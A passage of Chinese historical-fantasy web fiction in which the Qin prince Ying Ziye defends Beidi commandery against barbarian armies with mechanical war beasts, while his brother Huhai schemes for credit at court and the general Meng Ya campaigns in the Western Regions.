滚木礌石的轰击尚未完全停止。
两侧土山之后,以及前方官道的拐弯处,骤然响起了震天的喊杀声!
无数蛮族士兵如同从地底钻出,挥舞着弯刀长矛,如同黄色的潮水般,从三个方向朝着陷入混乱的秦军发起了猛攻!
他们显然早有预谋。
重点攻击秦军被滚木礌石切断,首尾不能相顾的部位。
尤其是那些失去保护的弓弩手和陷入混乱的步兵方阵。
“保护弓弩手!”
“长戟兵,结阵!挡住他们!”
秦军各级将领拼命呼喝,试图组织起有效的抵抗。
训练有素的秦军士卒在经历了最初的恐慌后,也开始凭借本能和纪律结阵自保。
盾牌手竖起大盾,长戟从盾牌缝隙中探出,如同钢铁丛林,试图阻挡蛮族步兵的冲击。
但蛮军的准备太充分了!
他们不仅有数量优势,更占据了地利和先手!
滚木礌石不仅造成了巨大的直接伤亡,更严重的是打乱了秦军的阵型和节奏。
许多部队被分割开来,陷入各自为战的窘境。
苏角挥舞着长刀,亲自率领亲卫队顶在了最前方,与试图冲垮中军的蛮族精锐绞杀在一起。
刀光剑影,血肉横飞,每一刻都有人倒下。
他眼睁睁看着自己麾下的儿郎们被数倍于己的敌人分割、包围、蚕食,心中如同刀绞!
“顶住!都给老子顶住!”
“北地郡就在前面!我们绝不能倒在这里!”
苏角浑身浴血,状若疯魔,每一刀都倾尽全力,试图用自己的勇武来激励士气。
一名蛮族悍将发现了苏角,认为他是主将,狞笑着带着一队亲兵冲杀过来,手中沉重的铁骨朵带着恶风砸向苏角!
“将军小心!”
副将惊呼,挺枪来援,却被另外几名蛮兵死死缠住。
苏角怒吼一声,举刀硬架!
“铛!”
巨响声中,苏角只觉得一股巨力传来,虎口崩裂,长刀险些脱手。
整个人踉跄着后退数步,气血翻涌!
那蛮将得势不饶人,铁骨朵再次举起!
就在这千钧一发之际——
“咻!咻!咻!”
一阵密集的弩箭突然从秦军后方射出,精准地覆盖了那蛮将及其亲兵!
虽然大部分箭矢被蛮将格挡或身上的皮甲挡住。
但也成功阻滞了他的攻势。
为苏角争取到了喘息之机。
原来是后方一部分未被完全切割的秦军弓弩手,在低级军官的组织下,自发地进行支援射击。
“好样的!”
苏角精神一振,趁机稳住身形,厉声大吼。
“将士们!看到了吗?蛮子并非不可战胜!”
“结阵!向我靠拢!我们杀出去!”
在苏角的拼死指挥和部分将士的顽强抵抗下,秦军终于在一些局部稳住了阵脚,开始尝试互相靠拢,组成更大的圆阵进行防御。
战斗陷入了极其惨烈的僵持!
官道之上,尸横遍野。
鲜血汇聚成了小溪,流淌进干涸的河谷。
双方士兵在狭窄的区域里疯狂厮杀,每一寸土地的争夺都付出了生命的代价!
苏角一边挥刀砍杀,一边心急如焚。
他知道,这样耗下去,即使最终能击退敌军,这五万援军也必然损失惨重,彻底失去驰援北地郡的能力。
蛮军的目的,就是要在这里将他们这支生力军彻底打残!
“殿下……”
苏角望着北地郡的方向,心中充满了焦虑和不甘。
他这边陷入苦战。
蒙恬那边恐怕也……凶多吉少。
北地郡,真的能等到援军吗?
……
夜色深沉,寒风呼啸。
赢子夜站在城头,望着城外死寂的黑暗,心中却如同沸水般翻涌。
两份几乎同时送达的紧急军报,如同两记重锤,狠狠砸在他的心头。
一份来自蒙恬方向,简短却字字惊心!!
黄金火骑兵于赤狼戈壁遭遇优势敌军伏击,陷入苦战。
难以按原定计划驰援北地郡。
另一份来自苏角所部残存斥候的拼死回报。
五万援军在官道遭重伏,损失惨重,主帅苏角被困,突围艰难。
“果然是围点打援!”
赢子夜猛地一拳砸在冰冷的墙垛上,眼中寒光四射。
之前的猜测被彻底证实。
“好一个蛮军!”
“以八万主力故作姿态,按兵不动,麻痹我等,暗中却早已设下双重埋伏,要将我大秦两支援军尽数吞掉!”
“如此一来,北地郡便真成了孤城一座,任由他们宰割!”
他深吸一口口冰冷的空气,强迫自己冷静下来。
愤怒解决不了问题,越是危急,越需要清醒的头脑。
恰在此时。
又一名斥候连滚爬爬地冲上城头,气喘吁吁地禀报。
“殿下!城外……城外蛮军大营异动!”
“约有五万大军正在集结,看其兵力,前军有巨獒、狼群等兽军开路,中军是至少两万蛮族重装步兵,两翼各有近万骑兵游弋,后方还有大量弓弩手!”
“他们……他们似乎要动真格的了!”
五万大军!
第369章 黑云压城城欲摧!
李敢独臂撑着沙盘边缘,急声道:
“殿下!您……您莫非是想趁机出兵,夺回那些城池?”
“万万不可啊!”
“我军兵力本就不足,固守北地郡已属艰难,若再分兵出击,一旦城外这五万蛮军猛攻,城池顷刻即破!”
“此乃孤注一掷,太冒险了!”
赢子夜看向李敢,理解他心中的担忧。
这位老将军一生戎马,深知守城之要在于兵力集中。
他缓缓摇头,语气却异常坚定。
“老将军放心,本公子并非要夺城。”
他手指点向沙盘上那几个代表沦陷城池的标记,眼中闪烁着冷冽而狡黠的光芒。
“攻城掠地,非我等当下所能。”
“但,若只是进去……杀几个人,放几把火呢?”
李敢一愣。
“殿下的意思是……”
“暗河!”
赢子夜低喝一声。
如同鬼魅般,赵弋苍的身影悄然浮现于阴影中。
“主上!”
赢子夜目光锐利如刀,语速极快。
“立刻挑选精锐好手,分成数队,潜入高奴、雕阴等已被蛮军占领,且兵力被抽调的城池!”
“你们的任务,不是占领,不是正面厮杀!是刺杀!”
“找到并斩杀城中蛮军留守的将领、军官,制造混乱!”
“找到他们的粮草囤积点、军械库,能带走的带走,带不走的,全部给本公子焚毁!”
“我要让他们后院起火,首尾难顾!”
赵弋苍眼中精光爆射,没有任何犹豫,重重抱拳。
“卑职领命!定让那些蛮子知道,什么叫寝食难安!”
说罢,身影一晃,已消失不见。
安排完这步暗棋,赢子夜目光转向一旁待命的几名万世书院机关术弟子领队。
“机关兽准备得如何了?”
一名领队上前,恭敬回道。
“回殿下,按照您之前的吩咐和公输先生的图纸,我等已紧急组装,改造出‘破山犀’机关兽十具,‘烈焰朱雀’机关弩车二十架,均已部署在预定城墙段。”
“只是时间仓促,数量有限,且能源核心……”
“足够了!”
赢子夜打断他。
“将它们用在最关键的时刻,最关键的位置!”
“我要让蛮子的重步兵和兽军,在城墙下碰得头破血流!”
“诺!”
机关术弟子们领命,眼中也燃烧着跃跃欲试的火焰。
这是他们所学第一次大规模应用于实战,是证明价值的时刻!
所有命令下达完毕,赢子夜再次走到城垛边,望向远方那逐渐亮起更多火把,如同苏醒巨兽般的蛮军大营。
五万大军压境,黑云摧城。
李敢看着赢子夜年轻却坚毅无比的侧脸,心中感慨万千。
这位六公子,胆大心细,手段百出。
在如此绝境之下,非但没有绝望,反而步步为营,试图在敌人的铁壁上凿出裂缝!
赢子夜缓缓抽出腰间的定秦剑,剑锋在夜色中反射着幽冷的光泽。
他声音不大,却清晰地传遍整个城头,带着一种一往无前的决绝!
“传令全军!敌军已动,决战在即!”
“告诉将士们,援军虽受阻,但我北地郡,绝非孤城!”
“我们的刀剑,就是最好的援军!”
“我们的血性,就是最坚固的城墙!”
他剑锋直指城外那无边无际的火光,声如雷霆。
“既然他们来了……那就准备一战吧!”
“让这些蛮夷看看,何为老秦风骨!”
“何为……大秦天威!”
“风!风!风!”
城头上,残存的守军,以及那些协助守城的百姓,发出了震耳欲聋的怒吼!
恐惧被决绝取代!
绝望被战意点燃!
北地郡,这艘在惊涛骇浪中颠簸的孤舟,已然做好了与风暴同归于尽的准备!
……
黎明撕破夜幕!
将北地郡城外照得一片通明!
五万蛮军如同漫过堤坝的黑色潮水,浩浩荡荡,铺天盖地!
战鼓、号角、蛮族的咆哮混杂在一起,形成一股令人窒息的声浪,冲击着残破的城墙。
军阵最前方,是数百头双眼赤红,涎水横流的巨獒和躁动不安的狼群。
它们发出低沉的咆哮,爪牙刨地,散发着原始的凶戾。
其后,是如同移动铁塔般的蛮族重装步兵。
他们身披厚重的,由兽皮和金属片混合打造的铠甲。
手持巨斧、狼牙棒,每一步都让大地微颤!
两翼,轻骑兵如同盘旋的秃鹫,弯刀反射着寒光。
中军后方,密密麻麻的弓弩手已然张弓搭箭,冰冷的箭簇对准了城头。
而在那杆狰狞的狼头大纛之下,蛮军主将,一位脸上带着交叉刀疤,气息凶悍如洪荒巨兽的壮汉——
“碎颅王”兀突骨麾下大将赫连屠,正狞笑着望着北地郡城。
他身边,簇拥着几名气息晦涩,打扮各异的身影。
有的身披绘满诡异符文的兽袍。
有的仅以皮甲蔽体却肌肉虬结如龙。
有的则笼罩在宽大的斗篷中,看不清面容。
这些人,正是蛮军暗中网罗的各族强者!
“将军,秦人城头守军似乎不多,看来连日消耗,他们已近油尽灯枯。”
一名副将低声道。
赫连屠嗤笑一声,声如破锣。
“困兽犹斗罢了!传令,第一波,兽军先行,给老子撕开他们的防线!”
就在蛮军阵中号角即将吹响,兽军即将扑出的前一刻——
“咚!咚!咚!”
北地郡城头。
那面巨大的战鼓,竟抢先一步,被赢子夜亲自擂响!
鼓声沉重而激昂,带着一种决绝的反击意志!
更让所有蛮军目瞪口呆的是,伴随着鼓声,那扇一直紧闭,残破不堪的城门,竟在刺耳的摩擦声中,缓缓洞开!
“嗯?”
赫连屠脸上的狞笑瞬间凝固,取而代之的是一丝错愕。
“秦狗……这是要做什么?”
“放弃城墙优势,出来送死吗?”
他身边一名身披兽袍,手持骨杖的老者,浑浊的眼中闪过一丝精光。
“莫非有诈?”
赫连屠定睛望去。
只见从洞开的城门中,率先涌出的,正是那支曾在野狼原给他留下深刻印象,身披重甲的魏武卒!
他们之后,是人数并不多,但眼神决绝的秦军步卒。
看到这一幕,赫连屠先是一愣,随即发出了震天的狂笑。
笑声中充满了不屑与残忍。
“哈哈哈!本将军还以为他们有什么后手!”
“原来是真的疯了!就凭这几千残兵败将,还有那千把个铁罐子,就想跟我五万大军野战?”
“还想靠着这些武卒取胜?”
“赢子夜!你未免也太狂妄了!简直不知死活!”
他猛地收起笑容,脸上杀气四溢,战刀前指,发出了雷霆般的怒吼。
“儿郎们!秦狗自寻死路,成全他们!全军出击!给老子碾碎他们!一个不留!”
“嗷呜——!”
进攻的号角如同野兽的咆哮!
最前方的兽军首先失控。
巨獒和狼群发出嗜血的嚎叫,如同脱缰的洪水,率先朝着出城的秦军猛扑过去!
紧接着,庞大的蛮族重步兵方阵也开始迈动沉重的步伐,如同黑色的泥石流,缓缓压上!
两翼骑兵则开始加速,试图进行包抄!
眼看秦军那单薄的阵线就要被这恐怖的兽潮和军阵吞噬——
“机关术弟子们,动手!”
城头上,田言清冷的声音响起。
刹那间,城墙上那些看似不起眼,由机关术弟子操控的装置,发出了奇异的嗡鸣!
“嗖!嗖!嗖!”
数十架造型奇特的弩车,【烈焰朱雀】被激发!
它们射出的并非普通箭矢。
而是一支支尾部燃烧着幽蓝色火焰的特制弩箭!
这些弩箭在空中划出诡异的弧线,精准地落入狂奔的兽群之中!
“轰!轰!”
弩箭触地即爆!
并非剧烈的冲击。
而是爆开大团大团粘稠的,燃烧着蓝火的胶状物!!
这些火焰极难扑灭。
瞬间附着在巨獒和狼群的皮毛上,灼烧着它们的血肉!
凄厉的兽嚎瞬间取代了冲锋的咆哮,凶猛的兽潮冲锋为之一滞!
第370章 胡亥前来相助?!
与此同时,地面传来轻微的震动!
几处看似平常的地面突然塌陷。
露出下面隐藏的,如同金属穿山甲般的【钻地鼬】机关兽!
它们并不攻击大型目标。
而是专门钻到蛮族重步兵的脚下,用旋转的钻头破坏他们的脚踝和小腿,或者从地下突然刺出锋利的金属刺!
虽然无法造成大规模杀伤,却极大地迟滞和扰乱重步兵严整的推进阵型!
更有一些小巧的,如同飞鸟般的【木鸢】机关从城头升起。
它们灵巧地穿梭。
并非用于攻击。
而是投掷下一些装着刺鼻粉末或迷烟的小囊,干扰蛮族弓弩手的视线和射击精度!
机关术的奇诡手段,在这一刻初露锋芒!!
虽然威力远不如公输仇那等大家手笔。
却也成功打乱了蛮军第一波的进攻节奏。
为出城的魏武卒和秦军争取到了宝贵的结阵时间!
“结阵!迎敌!”
魏武卒统领怒吼!
“风!风!风!”
近千余魏武卒瞬间结成紧密的钢铁方阵。
重盾顿地,长戟如林。
如同磐石般迎上了终于冲破机关阻碍,汹涌而来的蛮族重步兵!
而数量更多的秦军步卒则护卫在魏武卒两翼,与试图包抄的蛮族轻骑绞杀在一起!
战斗从一开始就进入了最残酷的白热化!
兵刃碰撞声、怒吼、惨叫声震耳欲聋!
魏武卒凭借超强的防御和力量,硬生生顶住了蛮族重步兵的冲击。
双方在城下展开了惨烈的肉搏!
每一刻都有生命在消逝!
而就在战场陷入混乱焦灼之际。
赢子夜玄衣飘动,如同惊鸿般从城头一跃而下。
手中定秦剑划出冰冷的弧光,直接杀入了战团最激烈处!!
一股帝王气扩散而出!!!
他所过之处,剑气纵横,寻常蛮族士兵根本无法近身,瞬间便被清空一片!
他一直冲杀,目标直指那杆狼头大纛下的赫连屠!
所谓擒贼先擒王!
赫连屠看着赢子夜如同利剑般撕开战场,朝着自己杀来,脸上非但没有惊慌,反而露出一抹计谋得逞的残忍笑容。
“终于忍不住亲自下场了吗?等你多时了!”
他对着身边那几名一直沉默的强者使了个眼色。
几乎就在赢子夜身形落地,旧力已尽,新力未生的刹那——
异变陡生!
他左侧地面猛然炸开!
一名浑身笼罩在土黄色光芒中,如同与大地融为一体的矮壮汉子破土而出。
一双闪烁着岩石光泽的拳头,带着崩山裂石的力量,直轰赢子夜腰腹。
竟是精通土遁与力量的高手!
而右侧空气中泛起涟漪,一名身法如同鬼魅,手持两柄淬毒匕首的瘦小身影凭空出现。
匕首如同毒蛇的信子,悄无声息地刺向赢子夜的后心与脖颈!
专精暗杀与速度!
与此同时。
正前方,那名手持骨杖的兽袍老者,口中念念有词。
骨杖挥动,一股无形的精神冲击如同尖锥,瞬间刺向赢子夜的识海!
这是擅长精神攻击的萨满!
更有两名气息彪悍,不输于寻常万夫长的蛮族勇士,一左一右,挥舞着沉重的兵刃,封死了赢子夜所有闪避的空间!
五名强者。
土。
速。
神。
力!
配合默契,时机刁钻。
同时发动了蓄谋已久的致命一击!
目标明确,就是要将大秦六公子,斩杀于此!
强烈的危机感如同冰水浇头,瞬间席卷赢子夜全身!
他瞳孔骤然收缩,心中凛然。
“原来……埋伏援军是假,逼我出城,这些隐藏的杀手锏,才是真正等着我的杀局!”
赢子夜忙身将定秦剑化作一团凛冽的寒光,将周身护得密不透风。
剑气与土石重拳碰撞,与淬毒匕首交击,硬撼蛮族勇士的兵刃,更是分出一缕心神抵御那无形无质的精神冲击。
他以一敌五,竟隐隐占据上风!!
剑光过处,必带起一蓬血雨或逼得对手狼狈后退。
那五名强者越打越是心惊!
他们本以为合力偷袭,足以瞬间格杀这位秦公子。
却没料到,对方实力如此强横。
就在战局胶着,赢子夜准备寻隙反击,先破掉一两人之时……
战场侧翼,突然爆发出震天的喊杀声!
一支精锐的秦军骑兵,如同利刃般狠狠切入混乱的蛮军侧翼。
为首一将,玄甲银枪,英姿勃发,正是十八公子胡亥!
“大秦公子胡亥在此!蛮夷受死!”
胡亥声如洪钟,手中长枪如同银龙出海。
所过之处,蛮族士兵人仰马翻!
他带来的这支生力军战斗力极强,瞬间就将蛮军本就因强者被牵制而有些混乱的侧翼冲得七零八落。
主将赫连屠见状,脸色大变。
眼看事不可为,再拖延下去恐怕自己都要陷在这里,只得咬牙切齿地发出撤退的号令。
蛮军如同潮水般退去。
那五名围攻赢子夜的强者也见机极快,虚晃一招,各自施展手段,融入溃军之中,迅速消失。
战场上暂时恢复了平静,只剩下满地的尸体和浓烈的血腥气。
胡亥策马来到赢子夜面前,翻身下马,脸上带着恰到好处的焦急与“真挚”,躬身行礼。
“六哥!小弟驰援来迟,让六哥受惊了!请六哥恕罪!”
赢子夜收剑入鞘,看着眼前这位风尘仆仆,脸上带着“愧色”的十八弟,眼中闪过一丝极快的,难以察觉的深邃。
但表面上,却立刻浮现出感动与欣慰之色。
上前一步亲手扶起胡亥:“十八弟何罪之有?”
“你来得正是时候!”
“若非你及时赶到,击溃敌军侧翼,为兄恐怕还要费一番手脚。”
“快快请起!”
他拍了拍胡亥的肩膀,语气带着“劫后余生”的感慨:“真是天佑我大秦,佑我兄弟!”
胡亥顺势起身,脸上“惭愧”之色更浓:“六哥不怪罪就好。”
“小弟在受降城解决了犯境之敌后,心中始终挂念六哥这边,得知北地郡被围,心急如焚,日夜兼程赶来,万幸……万幸没有来迟!”
“来了就好,来了就好!”
赢子夜拉着胡亥的手:“走,随为兄入城,详细说说你那边的情况。”
两人并肩走入残破的北地郡城,来到勉强收拾出来的郡守府大堂。
落座后,赢子夜关切地问道:“十八弟,你那边情况如何?受降城可还安稳?”
胡亥脸上露出沉稳的笑容,语气带着一丝自得。
“六哥放心,犯境之敌已被小弟尽数剿灭,受降城稳如泰山。”
“小弟此次前来,便是特意为六哥解围而来!”
“如今看来,幸不辱命!”
“好!十八弟果然能力出众,父皇知晓,必定欣慰。”
赢子夜赞了一句,随即话锋一转,脸上露出凝重之色:“不过,眼下局势依旧不容乐观。”
“蒙恬将军率领的黄金火骑兵,以及苏角将军的五万步卒,在驰援途中皆遭遇蛮军重兵伏击,如今被困,情况危急!”
“什么?!”
胡亥闻言,脸上瞬间露出了“极度震惊”的表情,猛地站起身。
“蒙恬将军…他,他还活着?我当初接到的军报说他已经……”
他恰到好处地停顿。
仿佛因为过于“激动”而语塞。
赢子夜沉重地点了点头:“蒙将军吉人天相,只是被困,苏角将军亦在苦战。”
胡亥脸上立刻又转为狂喜,抚掌道:“天佑大秦!真是天佑大秦啊!”
“蒙将军和苏将军无恙,实乃我大秦之幸!”
他随即面向赢子夜,抱拳请命,语气恳切:“六哥!既然如此,事不宜迟!”
“请让小弟即刻率兵前往,解救蒙恬、苏角两位将军!”
“必不辜负六哥信任!”
然而,赢子夜却缓缓摇了摇头。
胡亥脸上露出错愕与不解:“六哥?解救蒙将军他们乃是当务之急,还有何事比这更重要?”
赢子夜走到地图前,手指点向连接北地郡与后方的几条要道,声音沉凝。
“十八弟,你看。”
“蛮军为何能精准伏击蒙恬与苏角?”
“正是因为他们掌控了这些官道、粮道!”
“此乃我北疆命脉所在!”
“此问题若不解决,即便救出蒙恬他们,我大军后勤难以保障,依旧是困兽之斗,北疆危局难解!”
他目光灼灼地看向胡亥,语气带着信任与重托:“十八弟,你骁勇善战,更难得的是心思缜密。”
“打通并确保这些粮道、官道的畅通,其重要性,绝不亚于解救一支孤军!”
“此事关乎北疆全局,关乎数十万将士的生死存亡!”
“为兄思来想去,此重任,非你莫属!”
胡亥听着赢子夜的分析,脸上先是恍然,随即变得无比郑重。
他深吸一口气,重重抱拳,声音带着一种被委以重任的决绝!!
“六哥深谋远虑,小弟佩服!”
“是小弟思虑不周了!”
“六哥放心!此事关乎国本,小弟定当竭尽全力,扫清障碍,确保粮道畅通!”
“若不能完成此命,小弟提头来见!”
“好!有你这句话,为兄便放心了!”
赢子夜满意地点头,“至于解救蒙将军之事……”
“便由本公子亲自带人前往。”
第371章 破城容易,守城难!
是夜。
北地郡城守府内灯火阑珊,白日激战的喧嚣已然褪去。
赢子夜并未早早歇息,而是在书房内与少司命低声交谈。
少司命轻声道:“夫君,胡亥公子今日来得……未免太过巧合。”
赢子夜嘴角泛起一丝冷冽的弧度:“不是巧合,是算计。”
“他恐怕早就到了附近,一直按兵不动,等到最关键的时刻才现身,既解了围,又最大程度地展现了‘功劳’。”
他转过身,看向少司命:“这也正是我为何一定要将他支开。”
“此人城府极深,野心勃勃,留在北地郡,犹如卧榻之侧猛虎酣睡,我无法安心应对蛮军和外部的危机。”
少司命点头:“即便如此,夫君,此人诡谲,仍需万分小心。”
赢子夜微微颔首:“我知晓。”
“我已吩咐赵弋苍,会留下一部分暗河精锐潜伏在城中及粮道沿线,他们会暗中监视胡亥及其部下的动向,任何异动,都会第一时间报于你知。”
“北地郡和这条命脉,我就交给你了。”
少司命郑重点头:“我会守住这里,等你回来。”
书房门被轻轻叩响,赵弋苍的身影悄然出现。
“主上,主母。”
赵弋苍低声道:“派往各城执行刺杀、破坏任务的暗河小队,已陆续返回。”
“任务……基本完成。”
“高奴、雕阴等七城留守的蛮军将领、千夫长等头目,共二十七人,已确认格杀!”
“发现并焚毁中大型粮草囤积点五处,军械库两座。”
“我方……折损了十一位弟兄。”
赢子夜沉声道:“厚恤阵亡弟兄的家眷,他们的血不会白流。”
少司命目光一亮:“夫君,如今那些城池群龙无首,守备空虚,正是我们趁机夺回的良机!”
赢子夜却摇头:“不急。”
“此刻夺城,易如反掌。”
“但夺下来之后呢?我们哪里还有多余的兵力去分兵驻守?”
“蛮军主力尚在,一旦他们反应过来,反扑而来,这些刚刚夺回的城池,立刻又会变成包袱。”
他目光一凝:“当下的关键,不是贪图一城一地的得失,而是必须尽快将蒙恬、苏角这两支主力救出来!”
“只有他们脱困,我们手中才有足够的机动力量,才能真正稳住北疆局势,甚至发起反攻!”
“传令下去,让暗河能动用的所有人手,不惜一切代价,全力侦查蒙恬将军和苏角将军被困区域的详细情况!”
“敌军兵力、部署、弱点、补给线……”
“所有情报,越详细越好!”
“我要知道,从哪里下刀,能最快撕开他们的包围圈!”
赵弋苍领命,身影融入黑暗。
……
与此同时。
北地郡城外,胡亥的临时军营大帐内。
胡亥慵懒地靠在铺着柔软兽皮的椅子上,把玩着一枚夜光杯,脸上带着似笑非笑的表情。
“我这六哥,还真是谨慎啊……”
他低声自语,“把打通粮道这么重要又安全的差事交给我,是怕我抢了他救援蒙恬的风头?”
“还是……真的不放心我留在北地郡?”
他嗤笑一声,将杯中酒一饮而尽:“不过,这一次,本公子还真没什么别样的心思。”
“至少……暂时没有。”
他放下酒杯,看向侍立一旁的心腹,问道:“我们这边的战报和‘请功’的折子,送到咸阳了吗?”
心腹连忙躬身回道:“回公子,八百里加急,早已送出。”
“我们安排在朝中的人也已接到消息,预计就在这几日,便会联合几位大臣,在朝会之上,将公子您临危受命,固守受降城,又星夜驰援,击溃蛮军,解北地郡之围的功绩,奏禀陛下,为您请功!”
胡亥闻言,脸上露出了满意的笑容,眼中闪烁着野心勃勃的光芒。
“很好!做得不错!”
“让下面的人都机灵点,打通粮道这件事,也要做得漂亮些!”
“本公子要让满朝文武,让父皇都看看,我胡亥,绝非池中之物!”
“属下明白!”
心腹谄媚地应道。
帐内,烛火摇曳,映照着胡亥那看似得意,却深藏着无尽算计的脸庞。
……
咸阳宫,麒麟殿。
晨光透过高大的殿门,洒在冰冷光滑的金砖地面上,却驱不散弥漫在空气中的凝重。
文武百官分列两侧,垂首肃立,大气不敢喘。
御座之上,始皇嬴政身着玄色冕服,头戴十二旒冕冠,面容隐在珠玉之后,看不清具体神色。
唯有一股如同山岳般沉重,又如深渊般莫测的帝威,笼罩着整个大殿!
今日朝会。
议题核心便是烽火连天的北疆。
太尉府官员手持笏板,出班奏禀,声音在空旷的大殿中回荡,带着沉痛与焦急:
“启奏陛下!北疆急报!”
“自入秋以来,匈奴本部联合戎、狄、犬戎等大小部族,兵力逾二十万,分多路犯我边境!”
“雁门、云中、九原、北地等郡皆遭重兵围攻,独北地郡压力最大!”
“其兵锋所至,高奴、雕阴等七座县城相继沦陷,守城将士…多半殉国!”
他每报出一个城池的名字,殿内百官的心便沉下去一分。
那每一个名字背后,都是无数的鲜血与牺牲。
“敌军多路并进,攻势凶猛,更兼派遣大量细作混入难民,里应外合,致使多处关隘失守!”
“通往北疆前线之主要官道、粮道,如无定河流域、雕阴等,多处被劫断,后勤补给极其困难,前线将士粮草、军械匮乏,形势……万分危急!”
接着,又有官员上前,详细陈述目前北疆秦军的部署:
“陛下,目前北疆我军,蒙恬将军留人固守九原,然其亲率的黄金火骑兵一部及苏角将军所率五万援军,于驰援北地郡途中遭敌重兵伏击,陷入重围,情况不明。”
“六公子赢子夜殿下坐镇北地郡,虽初战告捷,然兵力单薄,独木难支。”
“王贲将军主力则被牵制于东北云中……”
一番奏对,将北疆糜烂,危如累卵的局势赤裸裸地展现在所有人面前。
殿内气氛压抑得如同暴风雨前的死寂,不少老臣面露悲戚,忧心忡忡。
然而,就在这一片愁云惨雾之中,话锋陡然一转。
一名显然是事先安排好的御史大夫,手持玉笏,越众而出,声音陡然提高,带着一种激昂与欣慰:
“然,天佑大秦!”
“值此危难之际,十八公子胡亥,临危受命,督军北疆!”
“先于受降城下,亲率铁骑,大破犯境之三千戎族精锐,斩首无算,稳住了侧翼防线!”
“更在得知北地郡被重兵围困,六殿下危急之时,不顾自身安危,星夜驰援,于北地郡城外,与六殿下里应外合,大破五万蛮军!”
“斩敌数千,迫敌溃退百里,一举解了北地郡之围!”
“此乃不世之功也!”
他话音落下,又有几名官员纷纷出列表态,言辞恳切!
无不是盛赞胡亥公子勇武果决,忠孝两全,于国难之际挺身而出,力挽狂澜。
实乃帝国之福,皇子之楷模!
请求陛下对其功绩予以重赏,以激励军心,彰显天恩!
这些话语,与之前描述的北疆惨状形成了鲜明对比。
仿佛胡亥一人之光,便照亮了整个北疆的黑暗。
一些不明就里或别有用心的大臣也跟着附和起来。
端坐于御座之上的嬴政,静静地听着,冕旒微微晃动,遮住了他深邃如星海的眼眸。
下方那些官员话语中的引导,夸大甚至是刻意营造的对比,他如何听不出来?
对于胡亥那点心思和手段,他洞若观火。
但,他没有立刻表态,手指在御座的扶手上无意识地轻轻敲击着。
那细微的声音在寂静的大殿中却如同重鼓,敲在每个人的心上。
良久,他缓缓开口,声音平稳,听不出喜怒,却带着不容置疑的威严:
“北疆战事,朕已知悉。”
“诸将用命,将士浴血,朕心甚慰。”
“胡亥……”
他目光似乎穿透冕旒,落在了虚空某处:
“于受降城破敌,驰援北地郡解围,确有功绩。”
“着,晋胡亥为北疆行军都尉,秩比两千石,赐金千斤,帛五百匹。”
“命其即刻整顿北地郡以西之陇城、肤施等已收复及尚在坚守之城池防务,征调兵员,务必在半月之内,打通并确保无定河流域、雕阴等主要粮道、官道之畅通!”
“若有延误,军法从事!”
这番封赏,看似厚重,晋升了职位,给予了实权,但细品之下,却意味深长。
都尉之位,仍在赢子夜这个巡察使之下。
所谓的整顿防务,打通粮道,更是将其牢牢限制在了后勤与次要战场的范围。
远离了营救蒙恬,对决蛮军主力的核心位置。
那几名之前极力为胡亥请功的官员,脸上闪过一丝不易察觉的失望,但也不敢多言,连忙躬身:“陛下圣明!”
嬴政不再理会他们,转而问道:“西域蒙犽所部,战况如何?”
负责军情的官员立刻上前,声音中带着一丝振奋:
“回陛下!蒙犽将军捷报!”
“我军于边境与大月氏十万主力决战,蒙将军指挥若定,大破敌军,阵斩四万余级,俘获无算!”
“现蒙犽将军已乘胜追击,兵锋直指大月氏腹地!”
“西域诸国震恐!!”
听到这个消息,殿内凝重的气氛终于为之一松!
这是连日来,唯一一个真正意义上的大捷。
嬴政微微颔首,笼罩在冕旒下的面容似乎缓和了一丝。
蒙犽,没有辜负他的期望。
“传朕旨意,嘉奖蒙犽及西域全体将士。”
“告诉他,朕在咸阳,等他彻底平定西域的捷报!”
“诺!”
第372章 舍不得孩子,套不着狼!
西域。
大月氏边境,秦军大营。
连日大胜的喜悦并未冲昏蒙犽的头脑。
他依旧如同万年不化的寒冰,面容冷峻,目光锐利地扫视着悬挂在帅帐中的西域详图。
地图之上,代表秦军的黑色箭头已然深深楔入大月氏疆域,兵锋直指其腹地几处关键关隘。
帐下,众将领肃立,虽经苦战,却个个精神抖擞,战意昂扬。
连续的大胜让他们对这位年轻的主将充满了近乎盲目的信服。
“诸位,”
蒙犽的声音打破了帐内的寂静,清晰而冰冷,
“大月氏十万主力已溃,然其国根基尚在,前方尚有‘铁门关’、‘赤石隘’等数处天险雄关,负隅顽抗者依旧不少。”
“我军不可有丝毫懈怠。”
他走到地图前,手指点向那几个被重点标记的关隘:
“下一步,兵分三路!杨临!”
“末将在!”
“你率本部四万铁骑,为左路军,沿此线推进,目标直取铁门关!”
“此关险要,强攻不易,可先行围困,断其水源,辅以攻心,伺机破之!”
“末将明白!定将那铁门关,变成我大秦西进的踏脚石!”
“司马梗!”
“末将在!”
“你率三万轻骑,为右路军,从此道穿插,绕过敌军正面防线,袭扰其后方粮道、村镇,制造混乱,策应主力攻城!”
“诺!末将定让大月氏人后方永无宁日!”
“中军八万步卒,随本将军正面推进,目标赤石隘!”
“步步为营,稳扎稳打,碾碎一切敢于阻挡之敌!”
“大秦万胜!”
然而,就在众将准备领命而去,部署具体进攻事宜时,蒙犽却再次开口,声音带着一丝不容忽视的凝重:
“且慢。”
众将停下脚步,疑惑地看向他。
蒙犽的目光从西域地图上移开,缓缓投向东方,仿佛要穿透营帐,望见那片正陷入战火的北疆草原。
“诸位,莫要忘了。”
“大月氏东侧边疆,与匈奴活跃之地接壤。”
他声音低沉,却如同警钟,敲在每位将领心头,
“而我大秦北疆,此刻正与匈奴为首的草原部族联军血战方酣。”
他环视众人,眼神锐利如刀:
“虽说匈奴主力被牵制在北疆,未必有余力,也未必敢此刻远涉千里,偷袭我西域大军侧后。”
“但,兵者,诡道也!”
“战场之上,瞬息万变,任何一丝疏忽,都可能酿成滔天大祸!”
他走到沙盘前,手指划过秦军漫长的补给线:
“我军深入大月氏腹地,后勤补给线绵长数百里,此乃我军命脉,亦是最大弱点!”
“若真有匈奴小股精锐骑兵,不惜代价,绕过北疆战场,穿越荒漠,突袭我粮道,后果不堪设想!”
蒙犽的目光扫过每一位将领的脸,语气斩钉截铁:
“传令下去!各军行进、扎营,必须加倍警戒!”
“斥候探查范围向外延伸五十里!”
“尤其是后勤辎重部队,必须配备足够的护卫兵力,多设岗哨暗哨,日夜巡逻,不得有丝毫松懈!”
他重重一拳砸在沙盘边缘:
“务必确保后勤补给万无一失!”
“一根粮草,一支箭矢,都不能让敌人断了!”
“谁若玩忽职守,致使粮道有失,无论官职大小,本将军定斩不饶!都听清楚了吗?!”
“末将遵命!!”
蒙犽微微颔首,挥了挥手:“去吧,依令行事!”
众将领命,快步退出帅帐。
……
与此同时。
大月氏王庭。
